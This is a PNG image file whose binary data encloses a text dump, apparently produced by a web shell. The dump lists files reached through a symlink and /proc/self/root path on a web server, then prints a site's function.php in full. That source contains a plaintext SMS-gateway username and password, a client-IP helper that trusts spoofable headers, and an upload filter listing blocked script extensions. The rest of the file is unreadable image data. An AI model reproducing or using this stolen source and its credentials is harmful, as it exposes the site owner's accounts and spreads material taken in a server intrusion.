php IHDR w Q )Ba pHYs sRGB gAMA a IDATxMk\U s&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨ G;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j- $_q?qS XzG'ay

| files >> /var/www/html/sub/images/Rm19_symconf/root/proc/self/root/var/www/html/FTFL/inc/ |
| files >> /var/www/html/sub/images/Rm19_symconf/root/proc/self/root/var/www/html/FTFL/inc/function.php |
<?php
function getRealIpAddr(){
if (!empty($_SERVER['HTTP_CLIENT_IP'])) //check ip from share internet
{
$ip=$_SERVER['HTTP_CLIENT_IP'];
}
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) //to check ip is pass from proxy
{
$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
}
else
{
$ip=$_SERVER['REMOTE_ADDR'];
}
return $ip;
}
$ip = getRealIpAddr();
function alias1($var){
echo $var = strtolower(str_replace(' ', '-', preg_replace('/[^\p{L}\p{N}\s]/u', '', $var)));
}
function gen_uuid() {
return sprintf( '%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
// 32 bits for "time_low"
mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ),
// 16 bits for "time_mid"
mt_rand( 0, 0xffff ),
// 16 bits for "time_hi_and_version",
// four most significant bits holds version number 4
mt_rand( 0, 0x0fff ) | 0x4000,
// 16 bits, 8 bits for "clk_seq_hi_res",
// 8 bits for "clk_seq_low",
// two most significant bits holds zero and one for variant DCE1.1
mt_rand( 0, 0x3fff ) | 0x8000,
// 48 bits for "node"
mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff )
);
}
function cext($filename){
$block_file_extensions = array(".js",".sh",".shtml",".html",".htm",".php",".php3",".php4",".php5",".phtml",".pl",".py",".jsp",".asp",".cgi");
$valid_file_extensions = array(".jpg",".png",".jpeg",".JPG",".PNG",".JPEG",".pdf");
$cekext = explode(".",$filename);
$file_extension = strrchr($filename, ".");
if(count($cekext) > 2){
$flag = 0;
}
elseif(in_array($file_extension, $block_file_extensions)) {
$flag = 0;
}
elseif(!in_array($file_extension, $valid_file_extensions)) {
$flag = 0;
}
else{
$flag = 1;
}
return $flag;
}
function cext2($filename){
$ALLOWED_TYPES = array("image/jpeg","image/png");
$MIME_TYPE = mime_content_type($filename);
if (!in_array($MIME_TYPE, $ALLOWED_TYPES)) {
$flag = 0;
}
else{
$flag = 1;
}
return $flag;
}
function kirim_email($email,$subjek,$body){
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
// More headers
$headers .= "From: WEB <admin@website.com>\r\n";
mail($email, $subjek, $body, $headers);
}
function gen_kode($con) {
$year = date('y');
$month = date('m');
$date = date('d');
$ada='1';
while ($ada>0) {
$kode= $year.$month.$date.substr(str_shuffle("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"), -4);
$q = $con->prepare("SELECT * FROM order_receipt_detail WHERE barcode = ?");
$q->execute(array($kode));
$ada = $q->rowCount();
}
return $kode;
}
function rajaSMS($ponsel,$pesan) {
$url = 'https://websms.co.id/api/smsgateway?user=suyatmo&pass=kirimkirim88&to='.$ponsel.'&msg='.urlencode($pesan);
$header = array(
'Accept: application/json',
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
$result = curl_exec($ch);
}
?>
y~or5J={Eeu磝Qk ᯘG{?+]ן?wM3X^歌>{7پK>on\jy Rg/=fOroNVv~Y+ NGuÝHWyw[eQʨSb> >}Gmx[o[<{Ϯ_qFvM IENDB`